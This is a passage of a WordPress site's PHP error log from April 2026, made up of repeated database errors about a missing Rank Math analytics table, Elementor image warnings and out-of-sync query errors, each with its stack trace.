STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import, STImporter\Importer\Batch\ST_Batch_Processing_Gutenberg->import_single_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 20:12:47 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1229 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_insert_post, wp_transition_post_status, do_action('transition_post_status'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_customize_publish_changeset, WP_Customize_Manager->trash_changeset_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 20:12:47 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1229 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 20:46:21 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by edit_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 20:47:25 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by edit_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 20:49:01 UTC] PHP Warning: Trying to access array offset on value of type bool in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/includes/managers/image.php on line 113 [08-Apr-2026 20:49:01 UTC] PHP Warning: Trying to access array offset on value of type bool in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/includes/managers/image.php on line 113 [08-Apr-2026 20:49:01 UTC] PHP Warning: Trying to access array offset on value of type bool in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/includes/managers/image.php on line 113 [08-Apr-2026 20:49:01 UTC] PHP Warning: Trying to access array offset on value of type bool in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/includes/managers/image.php on line 113 [08-Apr-2026 20:49:01 UTC] PHP Warning: Trying to access array offset on value of type bool in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/includes/managers/image.php on line 113 [08-Apr-2026 20:49:01 UTC] PHP Warning: Trying to access array offset on value of type bool in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/includes/managers/image.php on line 113 [08-Apr-2026 20:49:01 UTC] PHP Warning: Trying to access array offset on value of type bool in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/includes/managers/image.php on line 113 [08-Apr-2026 20:49:01 UTC] PHP Warning: Trying to access array offset on value of type bool in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/includes/managers/image.php on line 113 [08-Apr-2026 20:49:01 UTC] PHP Warning: Trying to access array offset on value of type bool in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/includes/managers/image.php on line 113 [08-Apr-2026 20:49:01 UTC] PHP Warning: Trying to access array offset on value of type bool in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/includes/managers/image.php on line 113 [08-Apr-2026 20:49:51 UTC] PHP Warning: Trying to access array offset on value of type bool in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/includes/managers/image.php on line 113 [08-Apr-2026 20:49:51 UTC] PHP Warning: Trying to access array offset on value of type bool in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/includes/managers/image.php on line 113 [08-Apr-2026 20:49:51 UTC] PHP Warning: Trying to access array offset on value of type bool in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/includes/managers/image.php on line 113 [08-Apr-2026 20:49:51 UTC] PHP Warning: Trying to access array offset on value of type bool in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/includes/managers/image.php on line 113 [08-Apr-2026 20:49:51 UTC] PHP Warning: Trying to access array offset on value of type bool in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/includes/managers/image.php on line 113 [08-Apr-2026 20:49:51 UTC] PHP Warning: Trying to access array offset on value of type bool in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/includes/managers/image.php on line 113 [08-Apr-2026 20:49:51 UTC] PHP Warning: Trying to access array offset on value of type bool in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/includes/managers/image.php on line 113 [08-Apr-2026 20:49:51 UTC] PHP Warning: Trying to access array offset on value of type bool in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/includes/managers/image.php on line 113 [08-Apr-2026 20:49:51 UTC] PHP Warning: Trying to access array offset on value of type bool in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/includes/managers/image.php on line 113 [08-Apr-2026 20:49:51 UTC] PHP Warning: Trying to access array offset on value of type bool in /home/dxgrqzvp/public_html/wp-content/plugins/elementor/includes/managers/image.php on line 113 [08-Apr-2026 20:55:37 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1232 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->get_autosave, wp_create_post_autosave, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 20:55:37 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1232 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 20:55:38 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1232 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 20:56:15 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 20:56:15 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1233 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 20:56:15 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 20:56:15 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1234 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 20:56:15 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 20:56:15 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1235 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:00:47 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 21:00:47 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1236 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:00:47 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 21:00:47 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1237 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:00:48 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 21:00:48 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1238 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:02:51 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT autoload FROM wpuz_options WHERE option_name = 'rank_math_notifications' made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Admin\Notifications\Notification_Center->update_storage, delete_option [08-Apr-2026 21:02:51 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT option_name, option_value FROM wpuz_options WHERE option_name IN ('_transient_timeout_jetpack_autoloader_plugin_paths') made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\Jetpack\Autoloader\jp60af226fe0a5f254066dfe81b410c136\al5_0_0\Shutdown_Handler->__invoke, Automattic\Jetpack\Autoloader\jp60af226fe0a5f254066dfe81b410c136\al5_0_0\Plugins_Handler->cache_plugins, set_transient, wp_prime_option_caches [08-Apr-2026 21:02:51 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT autoload FROM wpuz_options WHERE option_name = '_transient_jetpack_autoloader_plugin_paths' LIMIT 1 made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\Jetpack\Autoloader\jp60af226fe0a5f254066dfe81b410c136\al5_0_0\Shutdown_Handler->__invoke, Automattic\Jetpack\Autoloader\jp60af226fe0a5f254066dfe81b410c136\al5_0_0\Plugins_Handler->cache_plugins, set_transient, update_option [08-Apr-2026 21:02:51 UTC] WordPress database error Commands out of sync; you can't run this command now for query SHOW FULL COLUMNS FROM `wpuz_options` made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\Jetpack\Autoloader\jp60af226fe0a5f254066dfe81b410c136\al5_0_0\Shutdown_Handler->__invoke, Automattic\Jetpack\Autoloader\jp60af226fe0a5f254066dfe81b410c136\al5_0_0\Plugins_Handler->cache_plugins, set_transient, update_option [08-Apr-2026 21:03:45 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 21:03:45 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1239 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:03:45 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 21:03:45 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1240 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:03:46 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 21:03:46 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1241 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:06:52 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 21:06:52 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1242 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:06:52 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 21:06:52 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1243 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, 